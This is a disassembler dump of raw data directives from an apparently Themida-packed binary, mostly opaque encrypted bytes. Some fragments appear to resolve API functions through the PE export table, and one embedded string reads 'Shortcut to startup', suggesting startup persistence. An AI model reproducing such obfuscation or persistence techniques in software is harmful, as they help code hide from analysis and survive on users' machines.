		dd 0B3002578h, 2A062548h, 7401010Ch, 6AE9C25Ah,	3DD7890Bh
		dd 8FABF2BBh, 34320475h, 36810E5Ch, 5404010Ch, 0BB075CB3h
		dd 0B3672508h, 3DC420CEh, 0CC644D0Dh, 0DA770166h, 3210010Fh
		dd 6DCB5E2Ch, 36207D85h, 3626458Dh, 32010119h, 5E43564Bh
		dd 0E0F70E72h, 6F4BE78Dh, 58482D74h, 31E0540Ch,	1204010Ch
		dd 0BB5FC251h, 0B3052560h, 24842548h, 7740010Ch, 6273C259h
		dd 1ED08250h, 3393BA6Ah, 0B9620987h, 7A8967F6h,	67016BF0h
		dd 328002E4h, 0F11D210Ch, 164C8851h, 16548008h,	32081808h
		dd 0F151440Ch, 35CC65FAh, 0B3679C62h, 3D7F3735h, 3240CF88h
		dd 0B1DB8A0Ch, 0B1AA08CDh, 0B272A6F5h, 0B70BE835h, 3202005Fh
		dd 21890E5Ch, 0DB80010Ch, 32400102h, 7CBF1025h,	9852D295h
		dd 80847BA7h, 35F331Dh,	10042099h, 33408A0Ah, 3B7DBC87h
		dd 0B54F072Eh, 3220011Eh, 321BE85Dh, 0AB86010Ch, 6E96AB9Fh
		dd 0C0BAE095h, 0FA025BE1h, 0DAD30166h, 3240010Fh, 69E35A2Ch
		dd 36345D85h, 362C458Dh, 32040114h, 18C1524Fh, 1C311B74h
		dd 328EE9F9h, 0D7A4010Ch, 387B3A0Ah, 0E855FF7Bh, 0F0587CDh
		dd 25F58485h, 0B15C072Eh, 326B04CDh, 3283E95Ah,	6C60010Ch
		dd 46A95FCFh, 76910528h, 32110528h, 6442010Ch, 0D83DCFh
		dd 0B384D8FDh, 71CB9135h, 96C50E87h, 3920010Ch,	101ED091h
		dd 1F85880Ah, 0BF022339h, 1052B081h, 65016B0Ah,	328002E4h
		dd 0F11F210Ch, 165C8853h, 16548008h, 32081408h,	0F153460Ch
		dd 26EBB807h, 4D01010Ch, 63B73314h, 0E01028AAh,	0E900C2EDh
		dd 0E5861022h, 8AD3691Bh, 3204010Fh, 0DA500166h, 3201010Fh
		dd 68435B2Ch, 36645585h, 3604458Dh, 32100119h, 1DCB534Eh
		dd 6BB18899h, 0B9042310h, 10209CB1h, 5861FE0Ah,	31A8510Ch
		dd 1220010Ch, 0BB48C254h, 0B30C2548h, 2B002548h, 7202010Ch
		dd 75A4C25Ch, 755E7CD8h, 8CB6806Ah, 0F79532E8h,	53162303h
		dd 0DA590166h, 3204010Fh, 6BC1582Ch, 36254D85h,	36A4458Dh
		dd 3240011Bh, 0E5E3504Dh, 0B9BB786Eh, 368F0EDDh, 5404010Ch
		dd 0BF6039B7h, 1554E7B1h, 0C50D8C0Ah, 8A462654h, 33B28278h
		dd 182D843Fh, 0FD23072Eh, 5820E8CDh, 31C8510Ch,	1210010Ch
		dd 0BB50C254h, 0B3002548h, 2E062548h, 8301010Ch, 0A4F305E9h
		dd 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 3FE4CBC3h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 14h, 53C35646h, 29799589h,	98BB0622h, 8B60A166h
		dd 74A040C3h, 84EE1648h, 9A889DB8h, 43AA0211h, 6B740259h
		dd 83210130h, 0DEE2DD13h, 87052CBAh, 870564B2h,	8321102Fh
		dd 95E25D76h, 0E27BEEF9h, 0FF7131DAh, 7364928Ch, 5E9C0362h
		dd 8327623Bh, 3EA22946h, 85031A12h, 0D3387C33h,	3BE18F60h
		dd 83210630h, 981884BAh, 1EAC8611h, 8505FFFAh, 0DB7AF3CCh
		dd 8900ADB0h, 0F7210E11h, 3B725424h, 83210630h,	981884BAh
		dd 1EAC8611h, 8505FC8Bh, 0DB7AF3CCh, 0A25485B8h, 86C90E11h
		dd 8B210433h, 512B6E44h, 8323873Ch, 0E2418033h,	0D0212A68h
		dd 832123DBh, 407A3033h, 0A77D8168h, 0A7658537h, 83211837h
		dd 40724233h, 3155934Ah, 7F5DA87Ah, 834BE0B8h, 8322F864h
		dd 0DC010833h, 0FFA85BF0h, 0C7A00617h, 83380517h, 0D4668033h
		dd 0B865FDF0h, 0E5F03F82h, 834BC8BFh, 8322E062h, 0DA010433h
		dd 0CFA85BF0h, 0C7A00517h, 833D8417h, 0D2604033h, 941F1FF0h
		dd 0E102ED0Ah, 49AA693Eh, 0F898BE55h, 72E069Bh,	8321053Ah
		dd 839C1DB8h, 3EA24611h, 8503023Ah, 0AEA51F33h,	0E9210833h
		dd 80C95633h, 0A3210233h, 0A7BC269h, 225A467h, 94256477h
		dd 0C1212033h, 0BBA4D361h, 51C882D7h, 8C210430h, 36A8DA8Ch
		dd 850314CEh, 8306808Dh, 929CCB31h, 0E27021Ah, 0A6B9FAB6h
		dd 0AEAC8335h, 7C27263Ah, 7FCA83E3h, 0D5597C8Dh, 67A79B8h
		dd 77A54FF3h, 0AA212033h, 0A10EBD8Eh, 0D4198935h, 8CDA8555h
		dd 83216BB6h, 0D4216B33h, 832183DBh, 407E6033h,	0A75DA96Ch
		dd 0A7659137h, 83211F37h, 40764333h, 0F475B951h, 0E5FE8A55h
		dd 8125F8B2h, 4BA54F31h, 0E9212030h, 80C94533h,	0A3210833h
		dd 0A7CC76Eh, 225265Fh,	99252577h, 0C6218033h, 8EE88366h
		dd 0C1216005h, 90C8E97Ah, 77210833h, 1118E6DDh,	0AB4A953Ah
		dd 48D701C7h, 0F3614681h, 24770CCh, 8C41BC0Bh, 83217EB6h
		dd 0AEAC8333h, 327263Ch, 8CC9004Bh, 83215FB6h, 0D121EA33h
		dd 832143DBh, 407B0033h, 0A7759969h, 0A7658937h, 83211937h
		dd 40734033h, 7B37A787h, 69C0DB1Bh, 2477A1Ch, 0E5266EDCh
		dd 832768B2h, 0ABA40798h, 6A210433h, 83210104h,	6B720159h
		dd 83218030h, 0D8E21B13h, 87057CBAh, 870554B2h,	83210829h
		dd 0FDE25770h, 0E56D6571h, 3DD4A6E4h, 0C5208133h, 6B714059h
		dd 83212030h, 0DBE24813h, 87054CBAh, 870540B2h,	83210224h
		dd 23E25173h, 0B2A8ABA6h, 0A13BF18Eh, 34EBA135h, 0E6E07C8h
		dd 0A6B9E2B6h, 5EAC8F35h, 7C272020h, 0D3216BE3h, 832183DBh
		dd 40796033h, 0A765A96Bh, 0A7659137h, 83211537h, 40714433h
		dd 1C98D4E0h, 91B55E95h, 43A4A494h, 811EC43Ch, 16AA2033h
		dd 85033A1Ah, 60A6958Ch, 0E519854Fh, 8C23000Eh,	832160B6h
		dd 0D621EA33h, 832143DBh, 407C0033h, 0A74D996Eh, 0A7658937h
		dd 83211137h, 40744733h, 6A81CA2h, 8503AC7Eh, 0AE28CDB8h
		dd 0FBA02611h, 0DC1C7635h, 0DFA50749h, 0E9210431h, 80C95533h
		dd 0A3210133h, 0A7E436Ch, 225644Fh, 99250477h, 0C4211033h
		dd 0DF1BCB64h, 0FA033892h, 2AAC89D8h, 0E5272301h, 2474BB8h
		dd 8C41DC0Bh, 83214FB6h, 0D4217A33h, 83210BDBh,	407E2433h
		dd 0A75D8B6Ch, 0A7658037h, 83219B37h, 40760733h, 133235F8h
		dd 0D7D972D7h
		dd 83211CDBh, 0CC584A33h, 51581994h, 3C812463h,	0ABF156FBh
		dd 79CB2AD0h, 0CE9A4657h, 0FBA14B64h, 62EE031h,	83210417h
		dd 247C9B8h, 4321074Bh,	8337053Ch, 8C724033h, 6A78E884h
		dd 832111F0h, 8028BD1Ah, 16AA0211h, 850312E2h, 8220018Dh
		dd 0CE9C0B4Dh, 0E276217h, 0A6B9CAB6h, 41A07635h, 53DEE305h
		dd 6B740459h, 83210230h, 0DEE25C13h, 8705ECBAh,	870504B2h
		dd 83212024h, 0F6E24576h, 6425FD3h, 8DA50BF3h, 0E9210232h
		dd 80C95233h, 0A3218033h, 0A7A8368h, 225046Fh, 9F253477h
		dd 0C0210833h, 0AD96C760h, 79E0C486h, 8CB598BAh, 832186B1h
		dd 5ABCCB33h, 36270231h, 6B1990D7h, 83648D3Ch, 16A80433h
		dd 85030486h, 0F02479B3h, 8314053Ch, 7BAA4033h,	0D02658B3h
		dd 8200943Ch, 834B0833h, 8322EC60h, 0D8010233h,	0DFA85AF0h
		dd 0C7A08417h, 833A4417h, 0D0622033h, 101A6EF0h, 3D965A7Fh
		dd 0AA9C8F9Dh, 0E527201Ah, 86AE39B2h, 83A2053Ch, 834B4033h
		dd 8322C866h, 0DE011033h, 0EFA855F0h, 0C7A00017h, 833A0617h
		dd 0D6640133h, 4BB1A7F0h, 0A3B73092h, 832CC9C7h, 29EE1033h
		dd 75FDE745h, 0A6B677BCh, 8A7A3B6Eh, 0A1252CBEh, 85590035h
		dd 0BDA44F5Bh, 0E5212033h, 0FD65E3B2h, 88598955h, 62E21CCh
		dd 8321021Eh, 6B740159h, 83218030h, 0DEE21D13h,	87054CBAh
		dd 870554B2h, 8321082Bh, 47E25176h, 339E1A51h, 0F3C8D9B8h
		dd 8218033h, 0A100C9A6h, 83219835h, 834B1033h, 8322E065h
		dd 0DD010433h, 0F7A85CF0h, 0C7A00517h, 833B8417h, 0D5674033h
		dd 951AB3F0h, 2F85C348h, 9F20B502h, 92E0211h, 8321023Fh
		dd 8327853Ch, 0E208033h, 85036CB2h, 832111DAh, 8327F833h
		dd 2E210833h, 0B42AB376h, 8333EA65h, 0C4A20133h, 7921C821h
		dd 9A9199F1h, 3D813E10h, 0B1AFE172h, 3B7B5168h,	83210432h
		dd 87A89FB8h, 6AB10711h, 8321803Dh, 0CD49D49Eh,	77DE343Fh
		dd 0D377D9AAh, 1371214Ah, 0AE1491BAh, 59AA0411h, 0DA7CBCBEh
		dd 0EAC8614h, 85061F1Fh, 0E574038Bh, 8AA41344h,	0A8272A33h
		dd 20018DFCh, 9C0B4D82h, 276217CEh, 0B9CAB60Eh,	0A07635A6h
		dd 0DEE30541h, 74045953h, 0F305E983h, 0E1B258A4h, 26598589h
		dd 0C00B0622h, 0BC840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 0CCAA8DC3h, 50B1B58Dh
		dd 6A0622h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0ACDF10C3h, 8BE29F95h, 2219E59Dh,	0B8B3B506h
		dd 3, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h, 15h
		dd 60C35545h, 6AE6FF52h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0AF1BC350h,	43A90852h
		dd 280FBCFBh, 17800Fh, 12E90000h, 0EC000000h, 44828CEAh
		dd 0DFFF6556h, 0D6E94A85h, 5AC12607h, 0F8BF0F96h, 1B5DBD8Bh
		dd 89400622h, 221F41B5h, 6AC08B06h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0A9F0C350h
		dd 8300705Bh, 2208DDBDh, 9750006h, 0A21BD83h, 74000622h
		dd 8B535019h, 403B8C0h,	85890000h, 6220E59h, 0C0309D8Dh
		dd 0D3FF0624h, 0BD83585Bh, 6220A21h, 50177400h,	403B853h
		dd 85890000h, 6220E59h,	0BCD19D8Dh, 0D3FF0624h,	6A585Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0F18ADC3h, 1281h, 0DE900h, 0E08D0000h, 4E8720FFh, 7683B611h
		dd 8B7A7756h, 223339BDh, 3C08B06h, 222D69BDh, 0DE86106h
		dd 7D000000h, 0F86F09DAh, 3AC106DBh, 0B908C243h, 5A00ED80h
		dd 21259589h, 0C2810622h, 68C2h, 9E9h, 4F006300h, 0E924FFC4h
		dd 0F968F838h, 66000019h, 0E95EF88Bh, 0Ah, 0C7553C42h
		dd 0AB34E372h, 32FF0B9Ch, 35542DB9h, 81665B38h,	8103B6E0h
		dd 8B58D5EBh, 95015369h, 622267Dh, 0E8EB815Fh, 600FB270h
		dd 890F50h, 5E000000h, 0FE8h, 0B53E6D00h, 2C977456h, 13F33D42h
		dd 9D282A56h, 33A5B589h, 615B0622h, 8978EB81h, 820F2BD8h
		dd 5, 7ACF8166h, 0B70F53FBh, 66028FC7h,	0EA83CE8Bh, 0D59D8904h
		dd 83062200h, 850F01EEh, 11h, 5FABB051h, 24E9h,	0A7141400h
		dd 175D23C6h, 0C18B664Eh, 0FFFF75E9h, 25D5F3FFh, 0F6726013h
		dd 98DCB955h, 0AD04281Bh, 0F195C641h, 0A58D8DBAh, 6A062762h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 8DACC357h, 89DCDB80h, 2233F18Dh, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0ECC59E90h, 0BD891602h, 62206CDh, 2D3185C7h,	5F1C0622h
		dd 858B0000h, 62230F1h,	30E585C7h, 622h, 9D8B0000h, 6222705h
		dd 1281B5FFh, 6A0622h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 356433C3h, 6595FF62h, 6A062220h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 9EAEC350h, 0E361D49Bh, 40181D6Dh,	26999D89h
		dd 0F5600622h, 1419D89h, 0E9610622h, 12h, 0B4C5B6FBh, 910005B4h
		dd 6AF3BEC2h, 0D6ECF99Ah, 6AF32Ch, 307595FFh, 0C08B0622h
		dd 0BCA52FEBh, 8BE65AB1h, 0EA64D265h, 9B11AD14h, 0F40F5861h
		dd 0A9D228E9h, 97A1D915h, 37C740D3h, 0D8B560CCh, 0FF87F732h
		dd 0DC1D4981h, 0F233235Ch, 712ADE86h, 4B46D4D4h, 557F01DCh
		dd 525CD4C8h, 0B336398h, 2633A9A9h, 265AF198h, 153AEF5Eh
		dd 4E6033BAh, 0A5E4FFB4h, 7AF867h, 0A3BEA0BAh, 20162E26h
		dd 0A3BA7967h, 2011CBBDh, 3E46D71Bh, 293333BAh,	2633831Dh
		dd 0CFB6C098h, 763581FAh, 44E8D615h, 0D963AFBFh, 42CF10Dh
		dd 2664839Eh, 23593598h, 44D81F15h, 0AB634BBFh,	1517D1Dh
		dd 0B3CC039Eh, 2011A889h, 0A23C1493h, 26336AA1h, 44D8B015h
		dd 0CE639CBFh, 26334DAAh, 0A3BEF6D8h, 20143169h, 0CDB624C8h
		dd 7635F3FAh, 2132FF67h, 0E2B033BAh, 0CDB61794h, 76356AFAh
		dd 44E82315h, 0D96355BFh, 42C8C0Dh, 26513D9Eh, 0AD666A98h
		dd 74646474h, 2E4E11CEh, 24DA8DABh, 6633A698h, 260CD3DFh
		dd 0D9C62C97h, 0EF002B67h, 0CF3B1713h, 263335B2h, 31B948ABh
		dd 0AD03A718h, 0AD63E868h, 2C88005Ah, 0CF33A998h, 2633D49Bh
		dd 0A57D896Fh, 0A13C3566h, 0D9CC656Ch, 7EFB4EC3h, 0E638EEDFh
		dd 0D9FDD697h, 0E7B85667h, 7F6C8EC6h, 2637A851h, 44EA8815h
		dd 0ABBE9CBFh, 20142996h, 9320h, 0E7FC7800h, 7310271h
		dd 0C783C8D0h, 850F4904h, 0FFFFFFF2h, 640EB58Dh, 8D8D0627h
		dd 627642Dh, 0E983CF2Bh, 0E8C88B05h, 0Ah, 1ED79705h, 0A485B9CCh
		dd 46B73BAEh, 0FE958h, 0AE260000h, 0BD9460A5h, 0C401A237h
		dd 83F19C39h, 41C0815Bh, 8B00005Ah, 220B359Dh, 3D2ABF06h
		dd 0F7813104h, 31042B4Bh, 8BD2BF0Fh, 0BA666008h, 0D78B3B67h
		dd 0EEF18161h, 0F3AAFDEh, 158Dh, 9E800h, 39ED0000h, 444B1FCBh
		dd 89C61C39h, 22202985h, 0E9815A06h, 2203EAA9h,	0F18150B6h
		dd 40B96DF9h, 606051F5h, 0FCFB70Fh, 0B261D6BFh,	8F614Dh
		dd 13E9h, 68E00000h, 6068C60Ah,	586CAD71h, 0CE4D0EB0h
		dd 0F54E830Eh, 4C7BE881h, 8B662823h, 77C081D6h,	6628234Ch
		dd 82C6C681h
		dd 0F01EF83h, 0FFFF8285h, 840F53FFh, 0
		dd 0B0E95Ah, 66600000h,	0C2F6DA8Ch, 0C850F04h, 3B000000h
		dd 2233A985h, 36840F06h, 3B000000h, 220FC985h, 2A840F06h
		dd 3B000000h, 221AC985h, 1E840F06h, 3B000000h, 22001585h
		dd 12840F06h, 83000000h, 22248DBDh, 840F0106h, 5, 5FE9h
		dd 3D08B00h, 0BA8B3C52h, 88h, 85784A8Bh, 49840FC9h, 81000000h
		dd 0F8C2h, 0C728B00h, 598BC803h, 14518B1Ch, 0B8BD803h
		dd 840FC985h, 10h, 820FCE3Bh, 17h, 830FCF3Bh, 0Fh, 4A04C383h
		dd 0FFDC850Fh, 0DE9FFFFh, 8D000000h, 2250B19Dh,	5B806h
		dd 0E3FF0000h, 0D00BC361h, 66628D8Dh, 840F0627h, 1, 0F18D89F9h
		dd 0C7062233h, 222D3185h, 6E3C06h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 7CAD41E2h
		dd 512F0691h, 13E8h, 0E87E2E00h, 9B81A15Bh, 0E007C0F1h
		dd 8A204CE9h, 7C59F85Dh, 1FA9BD89h, 5E5A0622h, 30E585C7h
		dd 622h, 6A0000h, 3E850h, 58200000h, 448958C3h,	44810424h
		dd 1D0424h, 50400000h, 5E76FBC3h, 93942EF4h, 8B002837h
		dd 22082DB5h, 0FFD08B06h, 221311B5h, 58D8906h, 0FF062200h
		dd 22206595h, 0F99D8B06h, 6A06221Eh, 7595FF00h
		db 30h,	22h
word_550EA6	dw 8B06h		; DATA XREF: Themida_:004FA849o
		dd 0A44BEBC0h, 0FD62118h, 0D1D8DA22h, 82750553h, 113F9DD3h
		dd 24167A55h, 0CC1B6C96h, 42E7D104h, 0B100E5F6h, 0DAE44856h
		dd 43FBC84Ah, 4010180Dh, 0E5ACCF5Ah, 4043809Eh,	82BEC357h
		dd 8592FD8Eh, 0FEEF888Fh, 23FC568Dh, 78D04613h,	76E96160h
		dd 94000000h, 5301DAFCh, 74726F68h, 20747563h, 73206F74h
		dd 74726174h, 7075h, 17h dup(0)
		dd 1000E900h, 0B7680000h, 0E9062768h, 0FFFBE745h, 2769FA68h
		dd 0E73BE906h, 5C68FFFBh, 0E906276Ch, 0FFFBE731h, 276CB568h
		dd 0E727E906h, 9C68FFFBh, 0E906276Dh, 0FFFBE71Dh, 276E1E68h
		dd 0E713E906h, 0E168FFFBh, 0E9062771h, 0FFFBE709h, 2774D768h
		dd 0E6FFE906h, 0CB68FFFBh, 0E9062775h, 0FFFBE6F5h, 41E5E42Bh
		dd 9D29B4FCh, 0D5718480h, 0E2B84D48h, 3CCE0F1Fh, 7F8F9059h
		dd 5151AC7Eh, 1C67FA80h, 0E52C31D5h, 0AEBE4218h, 63611427h
		dd 4F3A14CDh, 99975AA7h, 6E3CC1C0h, 0F100039Eh,	4859C62Dh
		dd 2B3D9EF2h, 0CA339F5Dh, 0BFF19848h, 43D9ACAFh, 4E6568A4h
		dd 0A1D9ACB0h, 5D43E46Eh, 0CA0ED12Fh, 6AA62777h, 2CFF71DDh
		dd 2000000h, 0EB7370D1h, 0ACD1F4E2h, 76BE03D9h,	0B49EB563h
		dd 850804E3h, 0D9ACD1AEh, 6FB40901h, 61EBBC66h,	0D111E0DEh
		dd 0E1210Eh, 0A7A80000h, 0C099975Ah, 68013FBEh,	0FB46A429h
		dd 26FD2BB6h, 6AB742FCh, 768EC767h, 80D38ACCh, 13EE7C81h
		dd 0C242C00Dh, 1CA6EF72h, 8ACC6275h, 0AC7BA6D3h, 5BA6EB66h
		dd 0ACBD62EDh, 0E759375Eh, 42D9D9ACh, 0D52065F8h, 64AE377Ch
		dd 71722FA4h, 0C7060895h, 0B050F249h, 170EAC20h, 38ECA6C8h
		dd 43647662h, 0CD51ECF8h, 0D19F96E4h, 0BF8F9ADFh, 0B23DA32Fh
		dd 0A693A62Fh, 8897DFD1h, 40D85F4Eh, 0FE24A9F7h, 8D21B63h
		dd 0E0E935h, 0BA117166h, 0E7147AB8h, 1000000Dh,	213CCE0Fh
		dd 0F54812DFh, 0BD805AAFh, 44D96D78h, 6EEBB33Ah, 2DACF2EDh
		dd 777E8499h, 0B8494AD7h, 0CF121FE2h, 0F29B633Fh, 0CD635FE7h
		dd 0AA72CF2Bh, 41AFDE26h, 15A8B643h, 39D47E02h,	8B16F4F5h
		dd 6AC17F8Ah, 9CE578A8h, 0D1C8B551h, 0E2EB7370h, 0D9ACD1F4h
		dd 5233E934h, 0D9ACD283h, 9619A3F4h, 0ED11128h,	138E9h
		dd 26AA7000h, 44E98EF9h, 7E17F77Eh, 0D389DA5Bh,	0FC240DFh
		dd 0A841FF02h, 3A876766h, 151EEBF6h, 25A846CCh,	0D389DEDDh
		dd 458C976Ah, 0F0FD04D9h, 36B6DA2Ah, 164E6835h,	73BE53F3h
		dd 980F00DDh, 0D55A6A0h, 0B95F7BBh, 31BB6BAh, 0A66C75BEh
		dd 0A2E17C08h, 0B768F353h, 533950AAh, 0D7D9ACBBh, 246FF248h
		dd 888A67DDh, 0D974C379h, 813ED575h, 1A16E322h,	0E3EA340Dh
		dd 0FB431E35h, 8A881F66h, 0DB76CD7Bh, 8B1BEB7Bh, 0ACBAF7C2h
		dd 2AA33BD9h, 0D9ACBB0Fh, 0D5791413h, 0D1779DCCh, 0A4869DDFh
		dd 2A0D44D4h, 0EEDFD177h, 7707D233h, 1C0BDFD1h,	0C3CB5636h
		dd 91AC203Ah, 0FD934139h, 0BC8C9C86h, 0F0A1DF21h, 92BBE01Dh
		dd 904DD16Ch, 81E54F8Eh, 0E7BA11B7h, 0CA4AB29h,	525D0000h
		dd 226EF38Bh, 0F2320FDFh, 0BBFA47E7h, 7D819C2Eh, 222BAE7Ch
		dd 52E8F13Dh, 6832C3CFh, 0A7478E95h, 0F08A575Ah, 0A2B5DC2Ch
		dd 66CD635Eh, 57A73D88h, 0B54044D9h, 8AC88DA8h,	0B9968DD3h
		dd 64B3697Ch, 502D3DC9h, 0D7BE8C51h, 0D38AC804h, 58351904h
		dd 66F69459h, 40D8466Ah, 3210E1EFh, 245AA73Fh, 585100C1h
		dd 5EAC7B34h, 0A43173CEh, 8AA49CBFh, 0C1C39CD3h, 9423F834h
		dd 7814F08Eh, 20A9B53Dh, 0D38AA515h, 8AC00E15h,	0FA97BF53h
		dd 0E52668B7h, 8F855099h, 8A41E5B0h, 27325B15h,	0EBD38A85h
		dd 75A3367Eh, 967403DEh, 0AC9D4DFFh, 0C14CDD9h,	21FC4BC1h
		dd 858E13EBh, 57E2F73Eh, 9CCFE6CFh, 0EF20D9ACh,	46DCC265h
		dd 15250ED1h, 0AC000000h, 38CDD7AAh, 89BBC1Ah, 24A80000h
		dd 566B136Fh, 1815398Fh, 8BCDD7AAh, 0AE5AD786h,	100CDB07h
		dd 186ADF3Bh, 0BABD5926h, 1D0EB398h, 2BF24009h,	0EB36D9ACh
		dd 0EFCA8313h, 33D9AC2Bh, 0F9902EF4h, 39EF86B8h, 0C2889723h
		dd 878A9737h, 0E4ECE07Ah, 4F522BAh, 565D7811h, 46DDD9ACh
		dd 0C8D56BABh, 40F07913h, 211FE62Dh, 89874648h,	0F523B2F0h
		dd 0CC76895Eh, 93396EA2h, 3717DA27h, 839B66AAh,	0F078EFCAh
		dd 2EF43340h, 0F79E6EFEh, 40F078E4h, 6875BB24h,	4AC867BCh
		dd 0F48A97h, 0C3685E9Bh, 4342FE95h, 40F01775h, 4701AA1h
		dd 0D72AF0FDh, 840907CAh, 40F016AAh, 0F1BD4782h, 89992DB0h
		dd 17855039h, 9E8540F0h, 15D8D9B4h, 0D6DCA131h,	0D93A110Fh
		dd 40F016FEh, 27EAFB38h, 0BBA45AF8h, 0B101E506h, 0ACEFF4DDh
		dd 0B6DF6272h, 40EFF5A3h, 4A830B67h, 0A3EFB85Dh, 375E0E14h
		dd 47120375h, 4CDC6EB5h, 0DD2061FCh, 1202A5B0h,	0B2FC6547h
		dd 8B26FD2Bh, 590FE98Bh, 6A63FBE8h, 4D343654h, 5F7A13E3h
		dd 0A34D3436h, 0A039DE44h, 8EA59362h, 5212AF3h,	492B4517h
		dd 1F73CBD8h, 103A23DEh, 78430A82h, 0B82B44D9h,	9C4CD66Dh
		dd 66F5E3F5h, 4CF82731h, 10D925B8h, 0F3320F24h,	311D2AE6h
		dd 76C7752Ah, 117BD249h, 543D09A4h, 378CC53Bh, 0A62B75C8h
		dd 8EBA4749h, 5FCA6DB1h, 0A22F72CFh, 0F1FC0518h, 56B4610Fh
		dd 37A59BD2h, 0A42h, 9135B4FBh,	0AD79848Ch, 0E5815450h
		dd 32C81D18h, 4C1EDF2Fh, 4F5F4089h, 2161FC8Eh, 0EC370AD0h
		dd 0B5FC41E5h, 7ECE9228h, 635C4417h, 9F6AC4CDh,	0A8B3DAAAh
		dd 5FD38AC7h, 8AC82336h, 1538E7D3h, 82553C0Eh, 86D38AC8h
		dd 0DB26BB9Bh, 0B74A2E16h, 8E8449A8h, 9E908h, 0CC0D1200h
		dd 10DD233Eh, 58ADF74Ah, 6376BF82h, 0B13846DBh,	0F0EF7015h
		dd 829F2FAEh, 48D57180h, 1DE0BA4Bh, 613DC914h, 5BE5F099h
		dd 0CD25CD63h, 975AA770h, 1EEB2AB7h, 77091522h,	0B155949Ah
		dd 42FF7593h, 0AE8CC521h, 72D9ACFAh, 0FAC691F8h, 0DF4AD9ACh
		dd 6A3F76B3h, 0D16C2EC3h, 83B9C334h, 8C359B6Ah,	0F2328F9Fh
		dd 301229E7h, 0A11F3950h, 0B8D4A18Ch, 16EFD9EBh, 0BA5DC1AAh
		dd 2C18E12Dh, 7B5E3717h, 0BFA18CB0h, 8F5FD560h,	0ACFCF4C3h
		dd 0F740F017h, 51EE5AABh, 0A8B966CDh, 0B08BC252h, 70A18C68h
		dd 90F969B5h, 0A7B1E67Fh, 1AE729B4h, 0E66E4900h, 77B2A7B1h
		dd 91D08AFh, 9A606DB4h,	2EF4F907h, 0EF626EFEh, 48999A3Eh
		dd 409ADF0Eh, 0B0020FC2h, 0B2BDFED9h, 48E702A7h, 70BDA6E8h
		dd 444AC862h, 902h, 51F5F43Bh, 6D39C4CCh, 0A5419490h, 0F2885D58h
		dd 0CDE1F6Fh, 8F9F8049h, 61A1BC4Eh, 2C77CA90h, 0F53C01A5h
		dd 0BE8E52E8h, 635B04D7h, 5F2A04CDh, 99975AA7h,	6832C3C0h
		dd 8AC8B661h, 988936D3h, 2FA7CB82h, 0BC6BD9B2h,	46D1D3AEh
		dd 0A17EAA3Fh, 0C558080Ah, 889531BCh, 1BE64489h, 0B950CC19h
		dd 66BD6B7Ah, 3F1A73CBh, 0C3D9B230h, 0A940FE24h, 0D1A86465h
		dd 752103D2h, 8BB0702Fh, 8800795h, 76B90000h, 464AD777h
		dd 161EE3BBh, 0DF263BC3h, 0A1ED700Ah, 6C78258h,	36D41519h
		dd 4C1EE72Bh, 9B23B2F1h, 0D4767B86h, 7E593008h,	82CD635Ah
		dd 5AA7D954h, 0C1C09997h, 2B69003Ch, 2E6662DEh,	9AD0A03Ch
		dd 1EE72C05h, 28335A22h, 0E8D38ABEh, 2881F3Dh, 0DCA135F4h
		dd 80070FD6h, 0E62EB3FAh, 40E2513h, 0E1854849h,	0F325E9D7h
		dd 4E32814h, 0D1B10000h, 0E2EB7370h, 0D9B22E8Eh, 0BDAD8A5h
		dd 0B63F441Dh, 819C3B1Bh, 56D9D8A5h, 12E8874Ah,	2DF0CB82h
		dd 0BA30D9B2h, 0B22E08D3h, 461D08D9h, 1E874CDCh, 0F68E170Dh
		dd 49531E99h, 0B5EB8C36h, 7C955F45h, 3Eh, 0C70E15E8h, 0D7AAE25Fh
		dd 0AAC688CEh, 189D7798h, 0DA78D74Dh, 77D7D471h, 8ABE3B1Eh
		dd 0F420FFD3h, 0F2200EE9h, 0A42E61F3h, 8BBF9D03h, 0C64F4h
		dd 0AAED0000h, 1E04C9D7h, 1DBB8h, 74D1C100h, 502DB977h
		dd 3E878F4Eh, 4CF73466h, 9DF141D9h, 0D32661EAh,	0FCDF0420h
		dd 0B4CF737h, 0F7387742h, 0A96CBB4Ch, 4DF7D072h, 86ABF4AAh
		dd 3B3D9Bh, 0D1440000h,	0D4B97774h, 4CF7342Dh, 0D3BCED7h
		dd 69A72E74h, 5761EBBEh, 0DA26BBB3h, 34263158h,	3FEA4CF7h
		dd 5FE5A260h, 327D831Eh, 1C2BE1F0h, 0D5CBDD41h,	1C9B86ABh
		dd 77h,	3574D1A5h, 0A22E1AEFh, 51CFFD13h, 48A17CB6h, 19EDB84Dh
		dd 8A226570h, 0FE7EA5D3h, 3075C992h, 5C35E3F2h,	8D9C8855h
		dd 5FA6D07Ah, 0BFFD8208h, 6814F37Ah, 9B897F64h,	8E940FE1h
		dd 36B0h, 74D13900h, 0DDFE9777h, 5DD38AC7h, 7492B8C6h
		dd 24850F42h, 0C81A3D54h, 31ED38Ah, 17178503h, 10DE14F3h
		dd 0E000000h, 641FAA42h, 9150F28h, 0F65C34h, 5CE50000h
		dd 0C9h, 7774D1E5h, 0FA070A97h,	733FA658h, 0C428DB0Bh
		dd 0CAEDE474h, 4E28DB0Ah, 0AE5473D3h, 0A2D49309h, 64A13CBFh
		dd 868C9B91h, 82A8h, 74D13100h,	0A0A9777h, 28EA41FFh, 315828B8h
		dd 0D38AC826h, 8E173FEAh, 0D38AC7ABh, 1984B06Fh, 0F3AAF55Ah
		dd 4FF09AADh, 0F4D2EE51h, 4390h, 74D11900h, 0B7079777h
